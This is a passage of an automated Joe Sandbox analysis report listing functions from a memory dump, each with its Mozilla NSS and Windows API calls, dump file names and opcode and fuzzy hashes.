memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CE36CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CE36CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6CF58FE0), ref: 6CE36CFE

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 889d766f8f810570d26d87585e0210830fb44a415687a7009cc728daa0aed8c5
Instruction ID: 9d7da365b8fb96ea9870daebff4ca6f448764cb5cf9f3d50254ff97e84c0cf0f
Opcode Fuzzy Hash: 889d766f8f810570d26d87585e0210830fb44a415687a7009cc728daa0aed8c5
Instruction Fuzzy Hash: A13180B1A002169FDB04DF75C891ABFBBF9FF85248B20442DD909E7711EB71A915CBA0

Function 6CF44F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6CF44F5D
free.MOZGLUE(?), ref: 6CF44F74
free.MOZGLUE(?), ref: 6CF44F82
GetLastError.KERNEL32 ref: 6CF44F90

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: c2c2fe7e510a68ab3d6767b026754352f6f0a1d626aab6ddbe14e7279a92da16
Instruction ID: c7f5e87a51b80f717983ec2896a98cf55c145b699d2e0f867291e8f6140ccee4
Opcode Fuzzy Hash: c2c2fe7e510a68ab3d6767b026754352f6f0a1d626aab6ddbe14e7279a92da16
Instruction Fuzzy Hash: 663128B5E006194BEB01CF69DC85BDBBBB8FF46368F044229EC25B7782D734990586A1

Function 6CEA6DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6CEA6E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEA6E57

Part of subcall function 6CEDC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEDC2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6CEA6E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6CEA6EAA

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: f71e5bfc8722bc278f83b021880fa0f2ca561f4a9b00bfc3c26ef032a57c5cae
Instruction ID: 0d38c8ccf42f566d57879f9d08bc3d7b785b4f642db20e07cb0b92e04cd3491e
Opcode Fuzzy Hash: f71e5bfc8722bc278f83b021880fa0f2ca561f4a9b00bfc3c26ef032a57c5cae
Instruction Fuzzy Hash: 9231B631610512EEDB141FB8C904356B7B8AB0331EF30863DD4A6DAB50E7317656CF82

Function 6CE8DDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6CE8DDB1,?,00000000), ref: 6CE8DDF4

Part of subcall function 6CE914C0: TlsGetValue.KERNEL32 ref: 6CE914E0
Part of subcall function 6CE914C0: EnterCriticalSection.KERNEL32 ref: 6CE914F5
Part of subcall function 6CE914C0: PR_Unlock.NSS3 ref: 6CE9150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6CE8DDB1,?,00000000), ref: 6CE8DE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6CE8DDB1,?,00000000), ref: 6CE8DE17

Part of subcall function 6CE90BE0: malloc.MOZGLUE(6CE88D2D,?,00000000,?), ref: 6CE90BF8
Part of subcall function 6CE90BE0: TlsGetValue.KERNEL32(6CE88D2D,?,00000000,?), ref: 6CE90C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CE8DE80

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: e0006eedd78bcf96cc753a81dce5fba412d44d5df38db041eb87dcebdfb84fdc
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: 1E3170B5D02A439BE700CF56D880652B7B4BFA531CB34822FD81D87B01EB71E6A4CB91

Function 6CE7FE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CE55ADC,?,00000000,00000001,?,?,00000000,?,6CE4BA55,?,?), ref: 6CE7FE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CE7FE5F
PR_Unlock.NSS3(78831D74), ref: 6CE7FEC2
PR_SetError.NSS3(00000000,00000000), ref: 6CE7FED6

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: ab33d20213d91b2b697e43637c18b6680a611fbe7e0d6e18c7b2bfad2d659b82
Instruction ID: a1a597c612aca29af4d9f9fda5c3640b4031eeb4f8f18600ece9eb5a07c6d5e8
Opcode Fuzzy Hash: ab33d20213d91b2b697e43637c18b6680a611fbe7e0d6e18c7b2bfad2d659b82
Instruction Fuzzy Hash: F6210431E01615ABEB60AF24D844BAA73B8FF0536CF250124DD0567B42E739E964CBE0

Function 6CE83F50 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6CE83440: PK11_GetAllTokens.NSS3 ref: 6CE83481
Part of subcall function 6CE83440: PR_SetError.NSS3(00000000,00000000), ref: 6CE834A3
Part of subcall function 6CE83440: TlsGetValue.KERNEL32 ref: 6CE8352E
Part of subcall function 6CE83440: EnterCriticalSection.KERNEL32(?), ref: 6CE83542
Part of subcall function 6CE83440: PR_Unlock.NSS3(?), ref: 6CE8355B

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CE6E80C,00000000,00000000,?,?,?,?,6CE78C5B,-00000001), ref: 6CE83FA1
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CE6E80C,00000000,00000000,?,?,?,?,6CE78C5B,-00000001), ref: 6CE83FBA
PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6CE6E80C,00000000,00000000,?,?,?,?,6CE78C5B,-00000001), ref: 6CE83FFE
PR_SetError.NSS3 ref: 6CE8401A

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$K11_Tokens
String ID:
API String ID: 3021504977-0
Opcode ID: 32442f66a5af4c25c4da0a55776dbc95d17e9072b26704b8c8b56a76fc2b98d1
Instruction ID: 918a33a9eb7eaf034b8679c9628b6f0bd768b540b2e2e4db451461b889959a72
Opcode Fuzzy Hash: 32442f66a5af4c25c4da0a55776dbc95d17e9072b26704b8c8b56a76fc2b98d1
Instruction Fuzzy Hash: 9B31A670905704CFDB00AF69D18466EBBF4FF85318F21592ED88987710EB30E885CB92

Function 6CE74FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CE7B60F,00000000), ref: 6CE75003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CE7B60F,00000000), ref: 6CE7501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6CE7B60F,00000000), ref: 6CE7504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6CE7B60F,00000000), ref: 6CE75064

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: 71f0b15c45234a01cea51508e1263005721c5cfc2103238520efcf1154bcb1c2
Instruction ID: db3c3d81c8cef3f4cbcb0b9dd81fc6a500a42f333b40ad113402d3d2e1d48a28
Opcode Fuzzy Hash: 71f0b15c45234a01cea51508e1263005721c5cfc2103238520efcf1154bcb1c2
Instruction Fuzzy Hash: 583128B4A05606DFDB54EF68C488A6ABBF4FF09308B218529D859D7701E730E894CFE1

Function 6CE99F80 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CE9A71A,FFFFFFFF,?,?), ref: 6CE99FAB

Part of subcall function 6CE914C0: TlsGetValue.KERNEL32 ref: 6CE914E0
Part of subcall function 6CE914C0: EnterCriticalSection.KERNEL32 ref: 6CE914F5
Part of subcall function 6CE914C0: PR_Unlock.NSS3 ref: 6CE9150D

PORT_ArenaGrow_Util.NSS3(?,?,?,00000000,6CE9A71A,6CE9A71A,00000000), ref: 6CE99FD9

Part of subcall function 6CE91340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CE3895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE2F599,?,00000000), ref: 6CE9136A
Part of subcall function 6CE91340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CE3895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE2F599,?,00000000), ref: 6CE9137E
Part of subcall function 6CE91340: PL_ArenaGrow.NSS3(?,6CE2F599,?,00000000,?,6CE3895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE2F599,?), ref: 6CE913CF
Part of subcall function 6CE91340: PR_Unlock.NSS3(?,?,6CE3895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE2F599,?,00000000), ref: 6CE9145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,6CE9A71A,6CE9A71A,00000000), ref: 6CE9A009
PR_SetError.NSS3(FFFFE013,00000000,6CE9A71A,6CE9A71A,00000000), ref: 6CE9A045

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Arena$Util$CriticalEnterSectionUnlockValue$Alloc_ErrorGrowGrow_Mark_
String ID:
API String ID: 3535121653-0
Opcode ID: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction ID: 2fc024f909e9e8c636581d8c0680d87bc9a9715a9e03e0432678f66f87273e1e
Opcode Fuzzy Hash: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction Fuzzy Hash: 362150B4A40206ABE7009F55DC50F66B7B9FF8539CF25812C982987B81FB76E814CB90

Function 6CEB0C00 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

PK11_DigestOp.NSS3(?,?,00000004), ref: 6CEB0C43

Part of subcall function 6CE5DEF0: TlsGetValue.KERNEL32 ref: 6CE5DF37
Part of subcall function 6CE5DEF0: EnterCriticalSection.KERNEL32(?), ref: 6CE5DF4B
Part of subcall function 6CE5DEF0: PR_SetError.NSS3(00000000,00000000), ref: 6CE5E02B
Part of subcall function 6CE5DEF0: PR_Unlock.NSS3(?), ref: 6CE5E07E

PK11_DigestOp.NSS3(?,?,00000008), ref: 6CEB0C85
PK11_DigestOp.NSS3(?,?,?), ref: 6CEB0C9F
PR_SetError.NSS3(FFFFD07F,00000000), ref: 6CEB0CB4

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: DigestK11_$Error$CriticalEnterSectionUnlockValue
String ID:
API String ID: 3186484790-0
Opcode ID: a3cf06fb492fee7b5df2e5d093e5490a4d38d7fc118fd087eb8d367476beef73
Instruction ID: c6ee012a6c722105b3d4e9289c04596e3d8bec802b565d37209969ed5aecfcc3
Opcode Fuzzy Hash: a3cf06fb492fee7b5df2e5d093e5490a4d38d7fc118fd087eb8d367476beef73
Instruction Fuzzy Hash: 51216075A042869FC701CB64DD05BABBFB46F15204F0D8168D8446F712E731E928C7F2

Function 6CEA2DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CEA2E08

Part of subcall function 6CE914C0: TlsGetValue.KERNEL32 ref: 6CE914E0
Part of subcall function 6CE914C0: EnterCriticalSection.KERNEL32 ref: 6CE914F5
Part of subcall function 6CE914C0: PR_Unlock.NSS3 ref: 6CE9150D

PORT_NewArena_Util.NSS3(00000400), ref: 6CEA2E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6CEA2E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CEA2E95

Part of subcall function 6CE91200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CE388A4,00000000,00000000), ref: 6CE91228
Part of subcall function 6CE91200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CE91238
Part of subcall function 6CE91200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CE388A4,00000000,00000000), ref: 6CE9124B
Part of subcall function 6CE91200: PR_CallOnce.NSS3(6CF92AA4,6CE912D0,00000000,00000000,00000000,?,6CE388A4,00000000,00000000), ref: 6CE9125D
Part of subcall function 6CE91200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CE9126F
Part of subcall function 6CE91200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CE91280
Part of subcall function 6CE91200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CE9128E
Part of subcall function 6CE91200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CE9129A
Part of subcall function 6CE91200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CE912A1

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: 2edbb798f0cc7f331b5503100e6f7a341b8946a061a9e2c46e83fdfbcfa0ccff
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: 5821C2B1E003454BEB01CF959D44BAA3674ABA134CF318269DD0C6F752F7B2E6D98292

Function 6CE5ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CE5ACC2

Part of subcall function 6CE32F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CE32F0A
Part of subcall function 6CE32F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE32F1D

Part of subcall function 6CE32AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6CE30A1B,00000000), ref: 6CE32AF0
Part of subcall function 6CE32AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE32B11

CERT_DestroyCertList.NSS3(00000000), ref: 6CE5AD5E

Part of subcall function 6CE757D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CE3B41E,00000000,00000000,?,00000000,?,6CE3B41E,00000000,00000000,00000001,?), ref: 6CE757E0
Part of subcall function 6CE757D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CE75843

CERT_DestroyCertList.NSS3(?), ref: 6CE5AD36

Part of subcall function 6CE32F50: CERT_DestroyCertificate.NSS3(?), ref: 6CE32F65
Part of subcall function 6CE32F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE32F83

free.MOZGLUE(?), ref: 6CE5AD4F

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: 35deac251974f9570bbe8b0ff8b75d38d7da14a0a7038a9f855ecfe97889ae74
Instruction ID: 590e69155fa7b2d3affd26ae5b9c856fa8b7b63693d4f355f1be1951fd67efee
Opcode Fuzzy Hash: 35deac251974f9570bbe8b0ff8b75d38d7da14a0a7038a9f855ecfe97889ae74
Instruction Fuzzy Hash: CD21C3B1D012148BEB10EF64D8065FEB7B4AF1520CF654068D848BB701FB32AA69CBF1

Function 6CE83C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE83C9E
EnterCriticalSection.KERNEL32(?), ref: 6CE83CAE
PR_Unlock.NSS3(?), ref: 6CE83CEA
PR_SetError.NSS3(00000000,00000000), ref: 6CE83D02

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 954ec5881021fa37e62a50f217d4a041a466e155c34f4db1a014dcc3431e241c
Instruction ID: d3a19237f9a36ba41fac9767b350824cc0b616bf27c4f893386ae3ca81c4f4c7
Opcode Fuzzy Hash: 954ec5881021fa37e62a50f217d4a041a466e155c34f4db1a014dcc3431e241c
Instruction Fuzzy Hash: 9511D379E01204AFDB40AF24DC48E9A3778EF0A368F258564ED089B712E731ED55CBE0

Function 6CE8ECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6CE8F0AD,6CE8F150,?,6CE8F150,?,?,?), ref: 6CE8ECBA

Part of subcall function 6CE90FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE387ED,00000800,6CE2EF74,00000000), ref: 6CE91000
Part of subcall function 6CE90FF0: PR_NewLock.NSS3(?,00000800,6CE2EF74,00000000), ref: 6CE91016
Part of subcall function 6CE90FF0: PL_InitArenaPool.NSS3(00000000,security,6CE387ED,00000008,?,00000800,6CE2EF74,00000000), ref: 6CE9102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6CE8ECD1

Part of subcall function 6CE910C0: TlsGetValue.KERNEL32(?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE910F3
Part of subcall function 6CE910C0: EnterCriticalSection.KERNEL32(?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE9110C
Part of subcall function 6CE910C0: PL_ArenaAllocate.NSS3(?,?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE91141
Part of subcall function 6CE910C0: PR_Unlock.NSS3(?,?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE91182
Part of subcall function 6CE910C0: TlsGetValue.KERNEL32(?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE9119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6CE8ED02

Part of subcall function 6CE910C0: PL_ArenaAllocate.NSS3(?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE9116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6CE8ED5A

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
